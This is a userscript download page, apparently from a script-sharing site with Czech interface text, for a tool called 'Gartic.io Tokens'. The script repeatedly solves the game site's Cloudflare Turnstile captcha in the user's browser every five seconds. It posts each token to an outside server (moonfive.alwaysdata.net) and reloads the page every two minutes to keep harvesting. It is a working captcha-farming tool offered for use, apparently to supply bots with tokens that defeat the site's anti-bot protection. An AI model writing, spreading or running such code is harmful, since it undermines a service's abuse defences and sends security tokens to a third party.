Gartic.io Tokens

T

K instalaci tototo skriptu si budete muset nainstalovat rozšíření jako Tampermonkey, Greasemonkey nebo Violentmonkey.

You will need to install an extension such as Tampermonkey to install this script.

K instalaci tohoto skriptu si budete muset nainstalovat rozšíření jako Tampermonkey nebo Violentmonkey.

K instalaci tohoto skriptu si budete muset nainstalovat rozšíření jako Tampermonkey nebo Userscripts.

You will need to install an extension such as Tampermonkey to install this script.

K instalaci tohoto skriptu si budete muset nainstalovat manažer uživatelských skriptů.

(Už mám manažer uživatelských skriptů, nechte mě ho nainstalovat!)

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install an extension such as Stylus to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

You will need to install a user style manager extension to install this style.

(Už mám manažer uživatelských stylů, nechte mě ho nainstalovat!)

// ==UserScript==
// @name         Gartic.io Tokens
// @namespace    http://tampermonkey.net/
// @version      0.2
// @description  T
// @author       You
// @match        https://gartic.io/*
// @grant        none
// ==/UserScript==

(function () {
    'use strict';

    const TOKEN_INTERVAL = 5000;
    const PAGE_REFRESH_INTERVAL = 2 * 60 * 1000;
    function requestToken() {
        try {
            window.turnstile.render("#cf-turnstile", {
                sitekey: "0x4AAAAAABBPKaIbNwnPEfSo",
                callback: function (token) {
                    console.log("Token received:", token);

                    fetch("https://moonfive.alwaysdata.net/add-token", {
                        method: "POST",
                        headers: {
                            "Content-Type": "application/json"
                        },
                        body: JSON.stringify({ token: token })
                    })
                    .then(res => res.json())
                    .then(data => console.log("Server Response:", data))
                    .catch(err => console.error("Error sending token:", err));
                }
            });
        } catch (e) {
            console.error("Turnstile error:", e);
        }
    }

    setInterval(requestToken, TOKEN_INTERVAL);
    requestToken();

    setTimeout(() => {
        console.log("Refreshing page to prevent freeze...");
        location.reload();
    }, PAGE_REFRESH_INTERVAL);

})();